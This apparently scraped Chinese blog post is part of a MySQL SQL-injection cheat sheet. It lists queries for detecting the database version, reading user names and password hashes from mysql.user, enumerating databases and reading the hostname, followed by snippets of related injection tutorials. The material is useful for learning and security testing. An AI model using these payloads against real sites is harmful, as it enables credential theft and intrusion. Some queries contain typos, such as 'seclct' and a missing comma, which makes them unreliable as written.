sql注入知识库-mysql篇(2)

上接mysql篇(1)

测试数据库版本

1.使用自带函数

version()

@@version

@@global.version

examples

select version();

SELECT * FROM Users WHERE id = ‘1‘ AND MID(VERSION(),1,1) = ‘5‘;

mid() 用于截取字符串,用法  mid(字符串,起始位置,截取几个字符)

备注:

如果数据库运行在windows的机器上的话输出会带上-nt-log

2.使用特殊代码

1 /*!50094eaea*/ ;   False 如果版本在5.0094或以上

1 /*!50096eaea*/ ;   True  如果版本在5.0096以下

1/*!50095eaea*/ ;   False  如果版本是5.0095

备注:

当你不能将任何sql带入注入位置查询的时候,这个方法可以用于检测数据库版本

数据库凭证

table         mysql.user

columns     user password

current user  user()   current_user()   current_user  system_user()   session_user()

examples:

seclct current_user ;

SELECT CONCAT_WS(0x3A, userpassword) FROM mysql.user WHERE user = ‘root‘-- (Privileged)

数据库名字

table  information_schema.schemata     mysql.db

columns  schema_name     db

currentdb  database()    schema()

examples:

select database();

select schema_name from information_schema.schemata;

select distinct(db) from mysql.db

主机名

@@hostname

example

select @@hostname;

时间: 2024-10-08 09:34:01

sql注入知识库-mysql篇(2)的相关文章

sql注入知识库-mysql篇(3)

上接sql注入知识库-mysql篇(2) 表和字段 一.检测字段数量 order by/group  by group by / order by +1 ; 备注: order by 和 group by 都是用来根据字段排序用的 保持数字持续增加,直到得到一个错误响应 尽管group by 和 order by 在sql中是不同的功能,他们都可以用完全相同的方式确认查询的列数 examples: Given the query SELECT username, password, permis

SQL注入之mysql显错注入

在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!. 图1 获取数据库失败 此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql

SQL注入(一) - 入门篇

http://blog.csdn.net/sony315/article/details/6877319 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉.否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息. 服务器安全管理员和攻击者的战争仿佛永远没有停止的时候,针对国内网站的ASP架构的SQL注入攻击又开始大行其道.本篇文章通过SQL注入攻击原理引

SQL注入(手工篇)

开发人员在开发Web系统时对输入的数据没有进行有效的验证及过滤,就存在引发SQL注入漏洞的可能,并导致查看.插入.删除数据库的数据,甚至可以执行主机系统命令. 1.可能出现asp?id=x的网站 只能是基于asp.PHP.jsp.aspx的动态网站,并且存在数据库交互,例:登陆.留言板.搜索.新闻.但是静态页面不可以,如html.htm. 2.漏洞测试 (1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入: (2)利用条件语句测试:利用SQL连接选项‘an

SQL注入之MySQL常用的查询语句

MySQL是一种使用很广的数据库,大部分网站都是用MySQL,所以熟悉对MySQL数据库的注入很重要. 首先来说下MySQL注入的相关知识点 在MySQL5.0版本之后,MySQL默认在数据库存放一个“information_schema”的数据库,在这个库中, SCHEMATA,TABLES和COLUMNS这三个表名是必须记住的. SCHEMATA表存储该用户创建的所有数据库的库名,在该表中记录数据库名的字段为SCEMA_NAME. TABLES表存储该用户创建的所有数据库的库名和表名,在该表

sql注入知识库-mysql篇(1)

Mysql 缺省数据库 information_schema   在5以上版本可用 mysql   需要root 权限 测试注入: false意味着查询不可用 true代表查询可用 字符型: 使用如下查询:select * from table where id = '1'; '  false '' true " false "" true \ false \\ true example: SELECT * FROM Articles WHERE id = '1'''; SE

SQL注入实战-MySQL

靶场地址:https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe 进入靶场详情页,点击启动靶场,根据系统提供的信息进入靶场环境. Php注入mysql查询语句,由地址中的"?id=MQo="可以看出,此处传递时用了base64编码,base64解码"id=MQo="为1,常用mysql注入语句: 这里仅列出常用的信息注入语句: 暴出字段数 order by x 利用内置函数暴出

sql注入之mysql的联合查询爆破

mysql的联合查询原理就是对mysql自带的系统表进行查询,因为系统表包含了所有数据库的属性.没有access表猜不出表名列名暴力破解的尴尬. 上图是我针对mysql的联合查询,画的系统表(系统数据库)的结构 以查询test数据库为例: 1.判断列数 union select 1,2,3,..........  直到页面返回正常为止 2.判断当前数据库 union select  database(),2,3,4,5   1的位置将会返回数据库的名字 数据库名 database() 数据库版本

网站mysql防止sql注入*** 3种方法总结

mysql数据库一直以来都遭受到sql注入***的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的***都是与sql注入***有关,那么mysql数据库如何防止sql注入呢?下面我们SINE安全技术针对于这个sql注入问题总结3种方案去防止sql注入***. sql注入产生的原因很简单,就是访问用户通过网站前端对网站可以输入参数的地方进行提交参数,参数里插入了一些恶意参数传入到服务器后端里去,服务器后端并没有对其进行详细的安全过滤,导致直接进入